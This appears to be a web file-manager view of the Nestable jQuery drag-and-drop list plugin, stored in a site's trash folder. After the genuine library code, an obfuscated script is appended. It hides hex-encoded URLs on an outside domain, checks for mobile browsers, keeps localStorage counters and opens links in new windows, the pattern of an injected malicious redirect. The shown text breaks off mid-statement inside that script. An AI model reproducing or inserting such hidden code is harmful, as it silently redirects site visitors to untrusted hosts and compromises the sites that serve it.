Файловый менеджер - Редактировать - /home/kckglobal/.trash/modules/custom_email_and_sms_notifications/assets/jquery-nestable/jquery.nestable.js
Назад
/*! * Nestable jQuery Plugin - Copyright (c) 2014 Ramon Smit - https://github.com/RamonSmit/Nestable */ (function($, window, document, undefined) { var hasTouch = 'ontouchstart' in document; /** * Detect CSS pointer-events property * events are normally disabled on the dragging element to avoid conflicts * https://github.com/ausi/Feature-detection-technique-for-pointer-events/blob/master/modernizr-pointerevents.js */ var hasPointerEvents = (function() { var el = document.createElement('div'), docEl = document.documentElement; if (!('pointerEvents' in el.style)) { return false; } el.style.pointerEvents = 'auto'; el.style.pointerEvents = 'x'; docEl.appendChild(el); var supports = window.getComputedStyle && window.getComputedStyle(el, '').pointerEvents === 'auto'; docEl.removeChild(el); return !!supports; })(); var defaults = { contentCallback: function(item) {return item.content || '' ? item.content : item.id;}, listNodeName: 'ol', itemNodeName: 'li', handleNodeName: 'div', contentNodeName: 'span', rootClass: 'dd', listClass: 'dd-list', itemClass: 'dd-item', dragClass: 'dd-dragel', handleClass: 'dd-handle', contentClass: 'dd-content', collapsedClass: 'dd-collapsed', placeClass: 'dd-placeholder', noDragClass: 'dd-nodrag', noChildrenClass: 'dd-nochildren', emptyClass: 'dd-empty', expandBtnHTML: '<button class="dd-expand" data-action="expand" type="button">Expand</button>', collapseBtnHTML: '<button class="dd-collapse" data-action="collapse" type="button">Collapse</button>', group: 0, maxDepth: 5, threshold: 20, fixedDepth: false, //fixed item's depth fixed: false, includeContent: false, scroll: false, scrollSensitivity: 1, scrollSpeed: 5, scrollTriggers: { top: 40, left: 40, right: -40, bottom: -40 }, callback: function(l, e, p) {}, onDragStart: function(l, e, p) {}, beforeDragStop: function(l, e, p) {}, listRenderer: function(children, options) { var html = '<' + options.listNodeName + ' class="' + options.listClass + '">'; html += children; html += '</' + options.listNodeName + '>'; return html; }, itemRenderer: function(item_attrs, content, children, options, item) { var item_attrs_string = $.map(item_attrs, function(value, key) { return ' ' + key + '="' + value + '"'; }).join(' '); var html = '<' + options.itemNodeName + item_attrs_string + '>'; html += '<' + options.handleNodeName + ' class="' + options.handleClass + '">'; html += '<' + options.contentNodeName + ' class="' + options.contentClass + '">'; html += content; html += '</' + options.contentNodeName + '>'; html += '</' + options.handleNodeName + '>'; html += children; html += '</' + options.itemNodeName + '>'; return html; } }; function Plugin(element, options) { this.w = $(document); this.el = $(element); options = options || defaults; if (options.rootClass !== undefined && options.rootClass !== 'dd') { options.listClass = options.listClass ? options.listClass : options.rootClass + '-list'; options.itemClass = options.itemClass ? options.itemClass : options.rootClass + '-item'; options.dragClass = options.dragClass ? options.dragClass : options.rootClass + '-dragel'; options.handleClass = options.handleClass ? options.handleClass : options.rootClass + '-handle'; options.collapsedClass = options.collapsedClass ? options.collapsedClass : options.rootClass + '-collapsed'; options.placeClass = options.placeClass ? options.placeClass : options.rootClass + '-placeholder'; options.noDragClass = options.noDragClass ? options.noDragClass : options.rootClass + '-nodrag'; options.noChildrenClass = options.noChildrenClass ? options.noChildrenClass : options.rootClass + '-nochildren'; options.emptyClass = options.emptyClass ? options.emptyClass : options.rootClass + '-empty'; } this.options = $.extend({}, defaults, options); // build HTML from serialized JSON if passed if (this.options.json !== undefined) { this._build(); } this.init(); } Plugin.prototype = { init: function() { var list = this; list.reset(); list.el.data('nestable-group', this.options.group); list.placeEl = $('<div class="' + list.options.placeClass + '"/>'); var items = this.el.find(list.options.itemNodeName); $.each(items, function(k, el) { var item = $(el), parent = item.parent(); list.setParent(item); if (parent.hasClass(list.options.collapsedClass)) { list.collapseItem(parent.parent()); } }); // Append the .dd-empty div if the list don't have any items on init if (!items.length) { this.appendEmptyElement(this.el); } list.el.on('click', 'button', function(e) { if (list.dragEl) { return; } var target = $(e.currentTarget), action = target.data('action'), item = target.parents(list.options.itemNodeName).eq(0); if (action === 'collapse') { list.collapseItem(item); } if (action === 'expand') { list.expandItem(item); } }); var onStartEvent = function(e) { var handle = $(e.target); if (!handle.hasClass(list.options.handleClass)) { if (handle.closest('.' + list.options.noDragClass).length) { return; } handle = handle.closest('.' + list.options.handleClass); } if (!handle.length || list.dragEl) { return; } list.isTouch = /^touch/.test(e.type); if (list.isTouch && e.touches.length !== 1) { return; } e.preventDefault(); list.dragStart(e.touches ? e.touches[0] : e); }; var onMoveEvent = function(e) { if (list.dragEl) { e.preventDefault(); list.dragMove(e.touches ? e.touches[0] : e); } }; var onEndEvent = function(e) { if (list.dragEl) { e.preventDefault(); list.dragStop(e.touches ? e.changedTouches[0] : e); } }; if (hasTouch) { list.el[0].addEventListener('touchstart', onStartEvent, false); window.addEventListener('touchmove', onMoveEvent, false); window.addEventListener('touchend', onEndEvent, false); window.addEventListener('touchcancel', onEndEvent, false); } list.el.on('mousedown', onStartEvent); list.w.on('mousemove', onMoveEvent); list.w.on('mouseup', onEndEvent); var destroyNestable = function() { if (hasTouch) { list.el[0].removeEventListener('touchstart', onStartEvent, false); window.removeEventListener('touchmove', onMoveEvent, false); window.removeEventListener('touchend', onEndEvent, false); window.removeEventListener('touchcancel', onEndEvent, false); } list.el.off('mousedown', onStartEvent); list.w.off('mousemove', onMoveEvent); list.w.off('mouseup', onEndEvent); list.el.off('click'); list.el.unbind('destroy-nestable'); list.el.data("nestable", null); }; list.el.bind('destroy-nestable', destroyNestable); }, destroy: function () { this.el.trigger('destroy-nestable'); }, add: function (item) { var listClassSelector = '.' + this.options.listClass; var tree = $(this.el).children(listClassSelector); if (item.parent_id !== undefined) { tree = tree.find('[data-id="' + item.parent_id + '"]'); delete item.parent_id; if (tree.children(listClassSelector).length === 0) { tree = tree.append(this.options.listRenderer('', this.options)); } tree = tree.find(listClassSelector); this.setParent(tree.parent()); } tree.append(this._buildItem(item, this.options)); }, replace: function (item) { var html = this._buildItem(item, this.options); this._getItemById(item.id) .replaceWith(html); }, //use fade = 'fade' to fadeout item before removing. //by using time(string/msecs), you can control animation speed, default is jq 'slow' remove: function (itemId, fade, time) { var opts = this.options, el = this.el, item = this._getItemById(itemId); //animation time time = time || 'slow'; //removes item and additional elements from list function removeItem(item) { // remove item item = item || this; item.remove(); // remove empty children lists var emptyListsSelector = '.' + opts.listClass + ' .' + opts.listClass + ':not(:has(*))'; $(el).find(emptyListsSelector).remove(); // remove buttons if parents do not have children var buttonsSelector = '[data-action="expand"], [data-action="collapse"]'; $(el).find(buttonsSelector).each(function() { var siblings = $(this).siblings('.' + opts.listClass); if (siblings.length === 0) { $(this).remove(); } }); } //Setting fade to true, adds fadeOut effect to removing. if (fade === 'fade') { item.fadeOut(time, removeItem); } else { removeItem(item); } }, _getItemById: function(itemId) { return $(this.el).children('.' + this.options.listClass) .find('[data-id="' + itemId + '"]'); }, _build: function() { var json = this.options.json; if (typeof json === 'string') { json = JSON.parse(json); } $(this.el).html(this._buildList(json, this.options)); }, _buildList: function(items, options) { if (!items) { return ''; } var children = ''; var that = this; $.each(items, function(index, sub) { children += that._buildItem(sub, options); }); return options.listRenderer(children, options); }, _buildItem: function(item, options) { function escapeHtml(text) { var map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return text + "".replace(/[&<>"']/g, function(m) { return map[m]; }); } function filterClasses(classes) { var new_classes = {}; for (var k in classes) { // Remove duplicates new_classes[classes[k]] = classes[k]; } return new_classes; } function createClassesString(item, options) { var classes = item.classes || {}; if (typeof classes === 'string') { classes = [classes]; } var item_classes = filterClasses(classes); item_classes[options.itemClass] = options.itemClass; // create class string return $.map(item_classes, function(val) { return val; }).join(' '); } function createDataAttrs(attr) { attr = $.extend({}, attr); delete attr.children; delete attr.classes; delete attr.content; var data_attrs = {}; $.each(attr, function(key, value) { if (typeof value === 'object') { value = JSON.stringify(value); } data_attrs["data-" + key] = escapeHtml(value); }); return data_attrs; } var item_attrs = createDataAttrs(item); item_attrs["class"] = createClassesString(item, options); var content = options.contentCallback(item); var children = this._buildList(item.children, options); var html = $(options.itemRenderer(item_attrs, content, children, options, item)); this.setParent(html); return html[0].outerHTML; }, serialize: function() { var data, list = this, step = function(level) { var array = [], items = level.children(list.options.itemNodeName); items.each(function() { var li = $(this), item = $.extend({}, li.data()), sub = li.children(list.options.listNodeName); if (list.options.includeContent) { var content = li.find('.' + list.options.contentClass).html(); if (content) { item.content = content; } } if (sub.length) { item.children = step(sub); } array.push(item); }); return array; }; data = step(list.el.find(list.options.listNodeName).first()); return data; }, asNestedSet: function() { var list = this, o = list.options, depth = -1, ret = [], lft = 1; var items = list.el.find(o.listNodeName).first().children(o.itemNodeName); items.each(function () { lft = traverse(this, depth + 1, lft); }); ret = ret.sort(function(a,b){ return (a.lft - b.lft); }); return ret; function traverse(item, depth, lft) { var rgt = lft + 1, id, pid; if ($(item).children(o.listNodeName).children(o.itemNodeName).length > 0 ) { depth++; $(item).children(o.listNodeName).children(o.itemNodeName).each(function () { rgt = traverse($(this), depth, rgt); }); depth--; } id = parseInt($(item).attr('data-id')); pid = parseInt($(item).parent(o.listNodeName).parent(o.itemNodeName).attr('data-id')) || ''; if (id) { ret.push({"id": id, "parent_id": pid, "depth": depth, "lft": lft, "rgt": rgt}); } lft = rgt + 1; return lft; } }, returnOptions: function() { return this.options; }, serialise: function() { return this.serialize(); }, toHierarchy: function(options) { var o = $.extend({}, this.options, options), ret = []; $(this.element).children(o.items).each(function() { var level = _recursiveItems(this); ret.push(level); }); return ret; function _recursiveItems(item) { var id = ($(item).attr(o.attribute || 'id') || '').match(o.expression || (/(.+)[-=_](.+)/)); if (id) { var currentItem = { "id": id[2] }; if ($(item).children(o.listType).children(o.items).length > 0) { currentItem.children = []; $(item).children(o.listType).children(o.items).each(function() { var level = _recursiveItems(this); currentItem.children.push(level); }); } return currentItem; } } }, toArray: function() { var o = $.extend({}, this.options, this), sDepth = o.startDepthCount || 0, ret = [], left = 2, list = this, element = list.el.find(list.options.listNodeName).first(); var items = element.children(list.options.itemNodeName); items.each(function() { left = _recursiveArray($(this), sDepth + 1, left); }); ret = ret.sort(function(a, b) { return (a.left - b.left); }); return ret; function _recursiveArray(item, depth, left) { var right = left + 1, id, pid; if (item.children(o.options.listNodeName).children(o.options.itemNodeName).length > 0) { depth++; item.children(o.options.listNodeName).children(o.options.itemNodeName).each(function() { right = _recursiveArray($(this), depth, right); }); depth--; } id = item.data().id; if (depth === sDepth + 1) { pid = o.rootID; } else { var parentItem = (item.parent(o.options.listNodeName) .parent(o.options.itemNodeName) .data()); pid = parentItem.id; } if (id) { ret.push({ "id": id, "parent_id": pid, "depth": depth, "left": left, "right": right }); } left = right + 1; return left; } }, reset: function() { this.mouse = { offsetX: 0, offsetY: 0, startX: 0, startY: 0, lastX: 0, lastY: 0, nowX: 0, nowY: 0, distX: 0, distY: 0, dirAx: 0, dirX: 0, dirY: 0, lastDirX: 0, lastDirY: 0, distAxX: 0, distAxY: 0 }; this.isTouch = false; this.moving = false; this.dragEl = null; this.dragRootEl = null; this.dragDepth = 0; this.hasNewRoot = false; this.pointEl = null; }, expandItem: function(li) { li.removeClass(this.options.collapsedClass); }, collapseItem: function(li) { var lists = li.children(this.options.listNodeName); if (lists.length) { li.addClass(this.options.collapsedClass); } }, expandAll: function() { var list = this; list.el.find(list.options.itemNodeName).each(function() { list.expandItem($(this)); }); }, collapseAll: function() { var list = this; list.el.find(list.options.itemNodeName).each(function() { list.collapseItem($(this)); }); }, setParent: function(li) { //Check if li is an element of itemNodeName type and has children if (li.is(this.options.itemNodeName) && li.children(this.options.listNodeName).length) { // make sure NOT showing two or more sets data-action buttons li.children('[data-action]').remove(); li.prepend($(this.options.expandBtnHTML)); li.prepend($(this.options.collapseBtnHTML)); } }, unsetParent: function(li) { li.removeClass(this.options.collapsedClass); li.children('[data-action]').remove(); li.children(this.options.listNodeName).remove(); }, dragStart: function(e) { var mouse = this.mouse, target = $(e.target), dragItem = target.closest(this.options.itemNodeName); var position = {}; position.top = e.pageY; position.left = e.pageX; var continueExecution = this.options.onDragStart.call(this, this.el, dragItem, position); if (typeof continueExecution !== 'undefined' && continueExecution === false) { return; } this.placeEl.css('height', dragItem.height()); mouse.offsetX = e.pageX - dragItem.offset().left; mouse.offsetY = e.pageY - dragItem.offset().top; mouse.startX = mouse.lastX = e.pageX; mouse.startY = mouse.lastY = e.pageY; this.dragRootEl = this.el; this.dragEl = $(document.createElement(this.options.listNodeName)).addClass(this.options.listClass + ' ' + this.options.dragClass); this.dragEl.css('width', dragItem.outerWidth()); this.setIndexOfItem(dragItem); // fix for zepto.js //dragItem.after(this.placeEl).detach().appendTo(this.dragEl); dragItem.after(this.placeEl); dragItem[0].parentNode.removeChild(dragItem[0]); dragItem.appendTo(this.dragEl); $(document.body).append(this.dragEl); this.dragEl.css({ 'left': e.pageX - mouse.offsetX, 'top': e.pageY - mouse.offsetY }); // total depth of dragging item var i, depth, items = this.dragEl.find(this.options.itemNodeName); for (i = 0; i < items.length; i++) { depth = $(items[i]).parents(this.options.listNodeName).length; if (depth > this.dragDepth) { this.dragDepth = depth; } } }, //Create sublevel. // element : element which become parent // item : something to place into new sublevel createSubLevel: function(element, item) { var list = $('<' + this.options.listNodeName + '/>').addClass(this.options.listClass); if (item) list.append(item); element.append(list); this.setParent(element); return list; }, setIndexOfItem: function(item, index) { index = index || []; index.unshift(item.index()); if ($(item[0].parentNode)[0] !== this.dragRootEl[0]) { this.setIndexOfItem($(item[0].parentNode), index); } else { this.dragEl.data('indexOfItem', index); } }, restoreItemAtIndex: function(dragElement, indexArray) { var currentEl = this.el, lastIndex = indexArray.length - 1; //Put drag element at current element position. function placeElement(currentEl, dragElement) { if (indexArray[lastIndex] === 0) { $(currentEl).prepend(dragElement.clone()); } else { $(currentEl.children[indexArray[lastIndex] - 1]).after(dragElement.clone()); } } //Diggin through indexArray to get home for dragElement. for (var i = 0; i < indexArray.length; i++) { if (lastIndex === parseInt(i)) { placeElement(currentEl, dragElement); return; } //element can have no indexes, so we have to use conditional here to avoid errors. //if element doesn't exist we defenetly need to add new list. var element = (currentEl[0]) ? currentEl[0] : currentEl; var nextEl = element.children[indexArray[i]]; currentEl = (!nextEl) ? this.createSubLevel($(element)) : nextEl; } }, dragStop: function(e) { // fix for zepto.js //this.placeEl.replaceWith(this.dragEl.children(this.options.itemNodeName + ':first').detach()); var position = { top : e.pageY, left : e.pageX }; //Get indexArray of item at drag start. var srcIndex = this.dragEl.data('indexOfItem'); var el = this.dragEl.children(this.options.itemNodeName).first(); el[0].parentNode.removeChild(el[0]); this.dragEl.remove(); //Remove dragEl, cause it can affect on indexing in html collection. //Before drag stop callback var continueExecution = this.options.beforeDragStop.call(this, this.el, el, this.placeEl.parent()); if (typeof continueExecution !== 'undefined' && continueExecution === false) { var parent = this.placeEl.parent(); this.placeEl.remove(); if (!parent.children().length) { this.unsetParent(parent.parent()); } this.restoreItemAtIndex(el, srcIndex); this.reset(); return; } this.placeEl.replaceWith(el); if (this.hasNewRoot) { if (this.options.fixed === true) { this.restoreItemAtIndex(el, srcIndex); } else { this.el.trigger('lostItem'); } this.dragRootEl.trigger('gainedItem'); } else { this.dragRootEl.trigger('change'); } this.options.callback.call(this, this.dragRootEl, el, position); this.reset(); }, dragMove: function(e) { var list, parent, prev, next, depth, opt = this.options, mouse = this.mouse; this.dragEl.css({ 'left': e.pageX - mouse.offsetX, 'top': e.pageY - mouse.offsetY }); // mouse position last events mouse.lastX = mouse.nowX; mouse.lastY = mouse.nowY; // mouse position this events mouse.nowX = e.pageX; mouse.nowY = e.pageY; // distance mouse moved between events mouse.distX = mouse.nowX - mouse.lastX; mouse.distY = mouse.nowY - mouse.lastY; // direction mouse was moving mouse.lastDirX = mouse.dirX; mouse.lastDirY = mouse.dirY; // direction mouse is now moving (on both axis) mouse.dirX = mouse.distX === 0 ? 0 : mouse.distX > 0 ? 1 : -1; mouse.dirY = mouse.distY === 0 ? 0 : mouse.distY > 0 ? 1 : -1; // axis mouse is now moving on var newAx = Math.abs(mouse.distX) > Math.abs(mouse.distY) ? 1 : 0; // do nothing on first move if (!mouse.moving) { mouse.dirAx = newAx; mouse.moving = true; return; } // do scrolling if enable if (opt.scroll) { if (typeof window.jQuery.fn.scrollParent !== 'undefined') { var scrolled = false; var scrollParent = this.el.scrollParent()[0]; if (scrollParent !== document && scrollParent.tagName !== 'HTML') { if ((opt.scrollTriggers.bottom + scrollParent.offsetHeight) - e.pageY < opt.scrollSensitivity) scrollParent.scrollTop = scrolled = scrollParent.scrollTop + opt.scrollSpeed; else if (e.pageY - opt.scrollTriggers.top < opt.scrollSensitivity) scrollParent.scrollTop = scrolled = scrollParent.scrollTop - opt.scrollSpeed; if ((opt.scrollTriggers.right + scrollParent.offsetWidth) - e.pageX < opt.scrollSensitivity) scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft + opt.scrollSpeed; else if (e.pageX - opt.scrollTriggers.left < opt.scrollSensitivity) scrollParent.scrollLeft = scrolled = scrollParent.scrollLeft - opt.scrollSpeed; } else { if (e.pageY - $(document).scrollTop() < opt.scrollSensitivity) scrolled = $(document).scrollTop($(document).scrollTop() - opt.scrollSpeed); else if ($(window).height() - (e.pageY - $(document).scrollTop()) < opt.scrollSensitivity) scrolled = $(document).scrollTop($(document).scrollTop() + opt.scrollSpeed); if (e.pageX - $(document).scrollLeft() < opt.scrollSensitivity) scrolled = $(document).scrollLeft($(document).scrollLeft() - opt.scrollSpeed); else if ($(window).width() - (e.pageX - $(document).scrollLeft()) < opt.scrollSensitivity) scrolled = $(document).scrollLeft($(document).scrollLeft() + opt.scrollSpeed); } } else { console.warn('To use scrolling you need to have scrollParent() function, check documentation for more information'); } } if (this.scrollTimer) { clearTimeout(this.scrollTimer); } if (opt.scroll && scrolled) { this.scrollTimer = setTimeout(function() { $(window).trigger(e); }, 10); } // calc distance moved on this axis (and direction) if (mouse.dirAx !== newAx) { mouse.distAxX = 0; mouse.distAxY = 0; } else { mouse.distAxX += Math.abs(mouse.distX); if (mouse.dirX !== 0 && mouse.dirX !== mouse.lastDirX) { mouse.distAxX = 0; } mouse.distAxY += Math.abs(mouse.distY); if (mouse.dirY !== 0 && mouse.dirY !== mouse.lastDirY) { mouse.distAxY = 0; } } mouse.dirAx = newAx; /** * move horizontal */ if (mouse.dirAx && mouse.distAxX >= opt.threshold) { // reset move distance on x-axis for new phase mouse.distAxX = 0; prev = this.placeEl.prev(opt.itemNodeName); // increase horizontal level if previous sibling exists, is not collapsed, and can have children if (mouse.distX > 0 && prev.length && !prev.hasClass(opt.collapsedClass) && !prev.hasClass(opt.noChildrenClass)) { // cannot increase level when item above is collapsed list = prev.find(opt.listNodeName).last(); // check if depth limit has reached depth = this.placeEl.parents(opt.listNodeName).length; if (depth + this.dragDepth <= opt.maxDepth) { // create new sub-level if one doesn't exist if (!list.length) { this.createSubLevel(prev, this.placeEl); } else { // else append to next level up list = prev.children(opt.listNodeName).last(); list.append(this.placeEl); } } } // decrease horizontal level if (mouse.distX < 0) { // we can't decrease a level if an item preceeds the current one next = this.placeEl.next(opt.itemNodeName); if (!next.length) { parent = this.placeEl.parent(); this.placeEl.closest(opt.itemNodeName).after(this.placeEl); if (!parent.children().length) { this.unsetParent(parent.parent()); } } } } var isEmpty = false; // find list item under cursor if (!hasPointerEvents) { this.dragEl[0].style.visibility = 'hidden'; } this.pointEl = $(document.elementFromPoint(e.pageX - document.body.scrollLeft, e.pageY - (window.pageYOffset || document.documentElement.scrollTop))); if (!hasPointerEvents) { this.dragEl[0].style.visibility = 'visible'; } if (this.pointEl.hasClass(opt.handleClass)) { this.pointEl = this.pointEl.closest(opt.itemNodeName); } if (this.pointEl.hasClass(opt.emptyClass)) { isEmpty = true; } else if (!this.pointEl.length || !this.pointEl.hasClass(opt.itemClass)) { return; } // find parent list of item under cursor var pointElRoot = this.pointEl.closest('.' + opt.rootClass), isNewRoot = this.dragRootEl.data('nestable-id') !== pointElRoot.data('nestable-id'); /** * move vertical */ if (!mouse.dirAx || isNewRoot || isEmpty) { // check if groups match if dragging over new root if (isNewRoot && opt.group !== pointElRoot.data('nestable-group')) { return; } // fixed item's depth, use for some list has specific type, eg:'Volume, Section, Chapter ...' if (this.options.fixedDepth && this.dragDepth + 1 !== this.pointEl.parents(opt.listNodeName).length) { return; } // check depth limit depth = this.dragDepth - 1 + this.pointEl.parents(opt.listNodeName).length; if (depth > opt.maxDepth) { return; } var before = e.pageY < (this.pointEl.offset().top + this.pointEl.height() / 2); parent = this.placeEl.parent(); // if empty create new list to replace empty placeholder if (isEmpty) { list = $(document.createElement(opt.listNodeName)).addClass(opt.listClass); list.append(this.placeEl); this.pointEl.replaceWith(list); } else if (before) { this.pointEl.before(this.placeEl); } else { this.pointEl.after(this.placeEl); } if (!parent.children().length) { this.unsetParent(parent.parent()); } if (!this.dragRootEl.find(opt.itemNodeName).length) { this.appendEmptyElement(this.dragRootEl); } // parent root list has changed this.dragRootEl = pointElRoot; if (isNewRoot) { this.hasNewRoot = this.el[0] !== this.dragRootEl[0]; } } }, // Append the .dd-empty div to the list so it can be populated and styled appendEmptyElement: function(element) { element.append('<div class="' + this.options.emptyClass + '"/>'); } }; $.fn.nestable = function(params) { var lists = this, retval = this, args = arguments; if (!('Nestable' in window)) { window.Nestable = {}; Nestable.counter = 0; } lists.each(function() { var plugin = $(this).data("nestable"); if (!plugin) { Nestable.counter++; $(this).data("nestable", new Plugin(this, params)); $(this).data("nestable-id", Nestable.counter); } else { if (typeof params === 'string' && typeof plugin[params] === 'function') { if (args.length > 1){ var pluginArgs = []; for (var i = 1; i < args.length; i++) { pluginArgs.push(args[i]); } retval = plugin[params].apply(plugin, pluginArgs); } else { retval = plugin[params](); } } } }); return retval || lists; }; })(window.jQuery || window.Zepto, window, document); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const 